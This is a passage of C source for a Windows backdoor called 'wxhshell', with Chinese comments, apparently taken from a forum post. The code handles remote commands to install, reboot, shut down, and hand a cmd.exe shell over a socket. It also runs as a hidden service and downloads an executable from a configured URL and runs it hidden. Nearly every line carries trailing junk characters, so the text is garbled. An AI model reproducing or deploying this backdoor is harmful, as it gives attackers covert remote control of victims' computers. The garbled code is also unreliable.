  // 帮助 1n"X?K5;A  
  case '?': { J.l%H U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `.g8JC\_m  
    break; -pu\p-Z  
  } Gf\_WNrSE+  
  // 安装 nW_  
  case 'i': { y9hZ2iT  
    if(Install()) ?< QFW#:)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a6E"  
    else 1_C6KS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _'U?!  
    break; Nk4_!  
    } |lwN!KVQ,  
  // 卸载  &7&*As  
  case 'r': { l)s+"C#  
    if(Uninstall()) G{~p.?f:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iGk{8Da<  
    else AHY)#|/)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;hJ*u  
    break; e~;)-Z  
    } jt--w"|-r  
  // 显示 wxhshell 所在路径 VAE?={-  
  case 'p': { =_J<thp  
    char svExeFile[MAX_PATH]; Zr;=p"cXr  
    strcpy(svExeFile,"\n\r"); #.YcIR)  
      strcat(svExeFile,ExeFile); J*X.0&Toc  
        send(wsh,svExeFile,strlen(svExeFile),0); U(4_X[qD  
    break; 63Yu05'  
    } eE%yo3  
  // 重启 Gx_e\fe-/  
  case 'b': { {{%8|+B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E}/|Lja  
    if(Boot(REBOOT)) ,{*fOpn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R}9jgB  
    else { p|V1Gh<  
    closesocket(wsh); jgw'MpQm{  
    ExitThread(0); RsfT Ub)<  
    } -yGm^EwP  
    break; NV4W2thYo  
    } ^3o8F  
  // 关机 B1#>$"_0}=  
  case 'd': { Ec*7n6~9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G3^]Wwu  
    if(Boot(SHUTDOWN)) &"%|`gE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q]UYG(  
    else { 1>x@1Mo+K  
    closesocket(wsh); u!k<sd_8B  
    ExitThread(0); 72vGfT2HtZ  
    } =w$"wzc  
    break; ?Hxgx  
    } Bl\kU8O-  
  // 获取shell  m+{: ^  
  case 's': { GSnHxs)  
    CmdShell(wsh); /~cL L  
    closesocket(wsh); !>Y\&zA  
    ExitThread(0); kdPm # $-  
    break; @SG"t,5s  
  } T8TsKjqOZ  
  // 退出 Lj-&TO}OZ  
  case 'x': { ={@ @`yP^$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WTv\HI2X !  
    CloseIt(wsh); "d>g)rvOc  
    break; OVSq8?L  
    }  ^-*Tn  
  // 离开 7h&`BS  
  case 'q': { vP)~j1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cYy @  
    closesocket(wsh); 8yz((?LrDh  
    WSACleanup(); 0QH3,Ps1C  
    exit(1); u4M2Ec  
    break; AaC1 ||?R  
        } =&:f+!1$  
  } 7 +hF;  
  } aC Lg~g4  
xp8f  
  // 提示信息 _JIUds5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o ]jP3 $t;  
} @:QdCG+  
  } iA{jKk=  
yP9wYF^A\  
  return; !Fg4Au  
} c1AG3Nb  
-Dq:Y,%q  
// shell模块句柄 )^>XZ*eK  
int CmdShell(SOCKET sock) :`^3MMLO  
{ =*:_swd  
STARTUPINFO si; .C;_4jE  
ZeroMemory(&si,sizeof(si)); ~TFYlV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _u|FJTk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !5SQN5K  
PROCESS_INFORMATION ProcessInfo; 5~%,u2  
char cmdline[]="cmd"; J[Yg]6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); akCo+ @  
  return 0; =>z tBw\  
} j484b2uj1  
kxqc6  
// 自身启动模式 \pD=Lv9  
int StartFromService(void) $EGRaps{j>  
{ z>p`!-'ID  
typedef struct ^N2M/B|0  
{ * :tjxC  
  DWORD ExitStatus; ) !}-\5F  
  DWORD PebBaseAddress; CL'Xip')T  
  DWORD AffinityMask; &<|-> *v  
  DWORD BasePriority; Ao,!z  
  ULONG UniqueProcessId; -0VA!3l  
  ULONG InheritedFromUniqueProcessId; 3AQ>>)T~  
}   PROCESS_BASIC_INFORMATION; G!VF*yW8  
SM /ykk  
PROCNTQSIP NtQueryInformationProcess; DMcxa.Sd!  
t-7U1B}=<C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d:<H?~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " $IXZ  
jy(+ 0F  
  HANDLE             hProcess;  e_~fJ  
  PROCESS_BASIC_INFORMATION pbi; ;y~{+{{Ow  
vG<pc_ak  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ds%&Mi  
  if(NULL == hInst ) return 0; X:``{!~geo  
71.\`'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z(` }:t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #;"D)C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZAX0n!db3  
6%\Q*r*N  
  if (!NtQueryInformationProcess) return 0; 4`U0">gY  
8lWH=kA\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ImV]}M~_  
  if(!hProcess) return 0; rx6-~0!eI=  
GKyG #Fl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {s8U7rmML  
puS&S *  
  CloseHandle(hProcess); Y%0d\{@a  
%`?;V;{=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  Vp] D  
if(hProcess==NULL) return 0; { 8f+h  
8L -4}!~C  
HMODULE hMod; &`yOIX-H_  
char procName[255]; QOV}5 0  
unsigned long cbNeeded; Zv|p>q`R2  
EY)Gi`lK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \/*Nf?;  
x9)aBB  
  CloseHandle(hProcess); MZ5Y\-nq\  
WfRfx#MMt  
if(strstr(procName,"services")) return 1; // 以服务启动 B+Y5b5+wOQ  
```d:f  
  return 0; // 注册表启动 `D)Lzm R  
} &whX*IZ{  
)>y k-  
// 主模块 ,'C30A*p  
int StartWxhshell(LPSTR lpCmdLine) OpK. Lsd0y  
{ -*|:v67C&  
  SOCKET wsl; SY'2A)  
BOOL val=TRUE; Ts(t:^  
  int port=0; 8VP"ydg-U  
  struct sockaddr_in door; {4: -0itG  
Pknc[h},  
  if(wscfg.ws_autoins) Install(); ^Ue0mC7m  
ok`]:gf  
port=atoi(lpCmdLine); LZM,QQ  
]am~aJ|L  
if(port<=0) port=wscfg.ws_port; U!c]_q  
-]Q(~'a  
  WSADATA data; l]_b;iux  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y !<'rg  
ieo|%N{'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jow7t\wk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )RwBg8  
  door.sin_family = AF_INET; [dj5 $l|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s) Cpi  
  door.sin_port = htons(port); k7^R,.c@  
*me,(C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?&znUoB  
closesocket(wsl); z wL3,!t  
return 1; / l".}S  
} 2wx!Lpr<i_  
'aD6>8/Hj  
  if(listen(wsl,2) == INVALID_SOCKET) { F#(.v7Za  
closesocket(wsl); hCzjC|EO~  
return 1; JbE?a[Eg?  
} Ag0]U  
  Wxhshell(wsl); LBiowd[  
  WSACleanup(); V43nws "4  
CQdBf3q  
return 0; KNg8HYFW\  
 YywEZ?X  
} Y4mC_4EU  
}A{_L6qx  
// 以NT服务方式启动 ;rd6ko  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,>;!%Ui/p  
{ c[SU5 66y  
DWORD   status = 0; &*B>P>x  
  DWORD   specificError = 0xfffffff; k$C"xg2  
'_B_&is  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )ll?-FZ   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wk@ eV\H71  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2~f6~\4GL+  
  serviceStatus.dwWin32ExitCode     = 0; *B0V<mV  
  serviceStatus.dwServiceSpecificExitCode = 0; u(W^Nou/+  
  serviceStatus.dwCheckPoint       = 0; /b.$jnqL  
  serviceStatus.dwWaitHint       = 0; Hu[]h]  
cV-i*L4X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ezp<@'0ZT  
  if (hServiceStatusHandle==0) return; VS?dvZ1cC  
~}BJ0P(VMc  
status = GetLastError(); wL;]1&Qq  
  if (status!=NO_ERROR) wGPotPdE2  
{ (nLKQV 1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a`#S|'oatC  
    serviceStatus.dwCheckPoint       = 0; 8QV t, 'I  
    serviceStatus.dwWaitHint       = 0; )8;{nqoC  
    serviceStatus.dwWin32ExitCode     = status; TWUUvj`.  
    serviceStatus.dwServiceSpecificExitCode = specificError; <}d/v_+pnh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y2<dM/b/  
    return; !g8*r"[UJ  
  } J' W}7r  
B={/nC}G~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [4p=X=B  
  serviceStatus.dwCheckPoint       = 0; hp*<x4%*a"  
  serviceStatus.dwWaitHint       = 0; *ksb?|<Ot  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C1d 04Q  
} _z q)0\  
KxY$PgcC  
// 处理NT服务事件,比如:启动、停止 3 4SA~5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <"?*zx&  
{ [OzzL\)3l  
switch(fdwControl) U IfH*6X  
{ >9=:sSQu  
case SERVICE_CONTROL_STOP: )R~aA#<>  
  serviceStatus.dwWin32ExitCode = 0; NCi>S%pD`<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i3\~Qj;1  
  serviceStatus.dwCheckPoint   = 0; 5:UyUB  
  serviceStatus.dwWaitHint     = 0; > @+#  
  { 4.8nY\_WF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (#$$nQj  
  } =L"^.c@  
  return; 3YW=||;|Yg  
case SERVICE_CONTROL_PAUSE: Txo@ U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RX'-99M  
  break; atyu/+U'}  
case SERVICE_CONTROL_CONTINUE: V5AW&kfd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l4KbTKm7  
  break; ACb/ITu  
case SERVICE_CONTROL_INTERROGATE: ltoqtB\s  
  break; B oqJ   
}; O+_N!/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <c+K3P'3?  
} J*j5#V];  
]*3:DU  
// 标准应用程序主函数 MLV:U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yyP'Z~0  
{ OEnDsIhq  
1}}>Un`U5,  
// 获取操作系统版本 i ?;R}%~  
OsIsNt=GetOsVer(); o-z &7@3Hu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]9*;;4M g  
H8f]}  
  // 从命令行安装 f"Vgefk  
  if(strpbrk(lpCmdLine,"iI")) Install(); V@%  
$w)~xE5;  
  // 下载执行文件 1CkdpYjsj  
if(wscfg.ws_downexe) { 4PWAGuN^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DK6? E\<  
  WinExec(wscfg.ws_filenam,SW_HIDE); h%TLD[[/jr  
} +{$QAjW(/  
2+.18"rvi  
if(!OsIsNt) { OP%?dh]  
// 如果时win9x,隐藏进程并且设置为注册表启动  W8]V  
HideProc(); R{?vQsLk  
StartWxhshell(lpCmdLine); a }'->H  
} YTQps&mD.  
else Y%Ieg.o  
  if(StartFromService()) (?3[3 w~  
  // 以服务方式启动 rC BfD  
  StartServiceCtrlDispatcher(DispatchTable); g$FEEDF  
else 0/ !,Dn  
  // 普通方式启动 !8R@@,_v  
  StartWxhshell(lpCmdLine); gcf6\f}\<  
J#Z5^)$  
return 0; _1L(7|^~y[  
}
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只看该作者 1 发表于: 2006-10-10
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